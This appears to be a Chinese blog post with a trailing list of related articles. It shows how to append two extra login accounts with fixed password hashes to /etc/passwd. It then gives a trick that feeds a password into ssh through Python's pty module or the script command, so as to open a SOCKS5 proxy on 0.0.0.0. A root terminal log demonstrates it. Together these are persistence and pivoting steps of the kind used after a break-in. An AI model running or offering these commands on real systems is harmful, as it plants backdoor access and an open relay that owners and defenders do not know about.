准备环境:

cp /etc/passwd /etc/passwd.bak
tail /etc/passwd
echo "tee:\$1\$123456\$wOSEtcyiP2N/IfIl15W6Z0:229:2:toor:/tmp:/bin/bash" >>/etc/passwd
echo "yes:\$1\$123\$EKWAR30..wEKERDtzOQUv/:200:2:toor:/tmp:/bin/bash" >>/etc/passwd
tail /etc/passwd
((sleep 0.4;echo yes;sleep 0.2;echo yes;sleep 0.2;echo exit;)|python -c 'import pty;pty.spawn(["bash","-c","ssh -f -N -D 0.0.0.0:1304 yes@127.0.0.1"]);')&netstat -anlp| grep 1302 

使用( xxx) & ,切换到后台,是因ssh或者bash不会自动退出,但是可以使用ctrl +C 结束.

原因不明.

ssh -f -N -D 0.0.0.0:1304 yes@127.0.0.1

这句话就是在本地起socks5代理,端口号1304,

  • -f:后台执行ssh指令

pty模块基本都是python自带的,

使用socat的pty功能 ,没有成功,也不会使用c语言静态编写一个elf文件,

只能使用pty了

使用script命令如下:

(sleep 0.5;echo "ssh -f -o StrictHostKeyChecking=no -N -D 0.0.0.0:40079 yes@127.0.0.1";sleep 0.5;echo yes;sleep 0.5;echo exit;)|script /dev/null 
root@out:~# (echo id ;sleep 2;echo "ssh -f -o StrictHostKeyChecking=no -N -D 0.0.0.0:60079 yes@127.2.0.6";sleep 1;echo yes;sleep 1;echo exit;)| script /dev/null
Script started, file is /dev/null
id
root@out:~# id
uid=0(root) gid=0(root) groups=0(root)
Warning: Permanently added '127.2.0.6' (ECDSA) to the list of known hosts..2.0.6
yes@127.2.0.6's password:
root@out:~# exit
exit
Script done, file is /dev/null
root@out:~# which script
/usr/bin/script
root@out:~# ls -al /usr/bin/script
-rwxr-xr-x 1 root root 23200 Jun 14  2017 /usr/bin/script
root@out:~# 

自动给ssh输入密码(python使用pty模块,或者script命令)相关推荐

  1. python中导入模块用什么命令_Python导入模块的技巧

    作为使用Python的开发者,我们一开始学习的内容之一就是如何导入Python的各种模块或库.但是我们注意到,那些经常使用Python的用户并不一定都知道Python的导入机制其实非常灵活.在本文中, ...

  2. python的subprocess模块执行shell命令

    subprocess模块可以允许我们执行shell命令 一般来说,使用run()方法就可以满足大部分情况 使用run执行shell命令 In [5]: subprocess.run('echo &qu ...

  3. python pdb查看变量值_使用Python中PDB模块中的命令来调试Python代码的教程

    你有多少次陷入不得不更改别人代码的境地?如果你是一个开发团队的一员,那么你遇到上述境地的次数比你想要的还要多.然而,python中有一个整洁的调试特性(像其他大多数语言一样),在这种情况下使用非常方便 ...

  4. python pdb模块_使用Python中PDB模块中的命令来调试Python代码的教

    你有多少次陷入不得不更改别人代码的境地?如果你是一个开发团队的一员,那么你遇到上述境地的次数比你想要的还要多.然而,Python中有一个整洁的调试特性(像其他大多数语言一样),在这种情况下使用非常方便 ...

  5. python的pytest模块:pytest命令行详解

    一.官方文档 How to invoke pytest - pytest documentationhttps://docs.pytest.org/en/latest/how-to/usage.htm ...

  6. python paramiko使用_使用python的paramiko模块实现ssh与scp功能

    #1. 介绍 这篇文章简单地介绍了python的paramiko模块的用法,paramiko实现了SSH协议,能够方便地与远程计算机交互.简单的说,就是你在terminal下执行的如下语句,现在可以通 ...

  7. 自动登录ssh不需要输入密码

    博客已经搬家,请访问如下地址:http://www.czhphp.com 自动登录ssh不需要输入密码 环境: linux1        192.168.1.10 linux2        192 ...

  8. python ssh登陆模块_使用python的Paramiko模块登陆SSH

    paramiko是用Python语言写的一个模块,遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接. python的paramiko模块可以方便的实现ssh登录,并执行命令. 1. pa ...

  9. python自动拨号_Python自动连接ssh的方法

    作者:Sephiroth 字体: 类型:转载 这篇文章主要介绍了Python自动连接ssh的方法,实例分析了基于Python实现连接ssh的技巧,具有一定参考借鉴价值,需要的朋友可以参考下 本文实例讲 ...

最新文章

  1. 试用版office 2010中提示Error opening SocialConnectorRes.dll求解!!
  2. 【Linux开发】linux设备驱动归纳总结(十二):简单的数码相框
  3. JQuery EasyUI combobox(下拉列表框)
  4. javascript:jquery.history.js使用方法
  5. leetcode 363. Max Sum of Rectangle No Larger Than K | 363. 矩形区域不超过 K 的最大数值和(前缀和,图文详解)
  6. Linux技巧:自动挂载UDF光盘的技巧
  7. 签名build apk: Could not resolve all files for configuration ':app:lintClassPath' 问题
  8. mysql中的所有类型_mysql中常用的数据类型
  9. 数学怪兽-法国数学家庞加莱
  10. 【JAVA 第四章 流程控制语句】课后习题 判断两个圆是否相交 圆和直线的位置关系
  11. Meteor——以NodeJS为基础环境,MongoDB为数据环境的全栈开发平台!
  12. asp.net分页方法
  13. 4. jQuery 事件
  14. php 横杠箭头,为什么我的箭头下面有一横线?
  15. 原来华为手机语音助手,还有3大隐藏功能,职场人的必备神器
  16. 信息论与编码 python实现 费诺编码 代码详解
  17. 计算机游戏测试,性能强劲又不张扬:IT之家游戏测试电脑推荐
  18. 水果的用途大全,喜欢水果的亲们一定要收藏哦!
  19. 模拟CMOS集成电路设计入门学习(3)
  20. intern() of String

热门文章

  1. 【已解决】iphone和mac的备忘录、提醒事项、日历等无法同步。MacBook点击“更新Apple ID 设置”无反应。
  2. 手机端没有好的录屏软件?地表最强移动端录屏软件了解一下?
  3. WIN10自带的录屏软件Xbox Game Bar的启动相关问题
  4. 百度地图API乡镇级别行政区划
  5. 美国全国就业普遍低迷“技术”就业却加速增长;爱立信发布2030年10大消费者趋势 | 美通社头条...
  6. 在线支付线上支付是什么?其应用范围
  7. Will not attempt to authenticate using SASL (unknown error) (org.apache.zookeeper.ClientCnxn)
  8. 牛年伊始,鹏欣携手MTC,打造中国千亿级肉牛产业航母
  9. Sofa生态: SofaBoot从入门到放弃
  10. php开发人工智能,php可以开发人工智能吗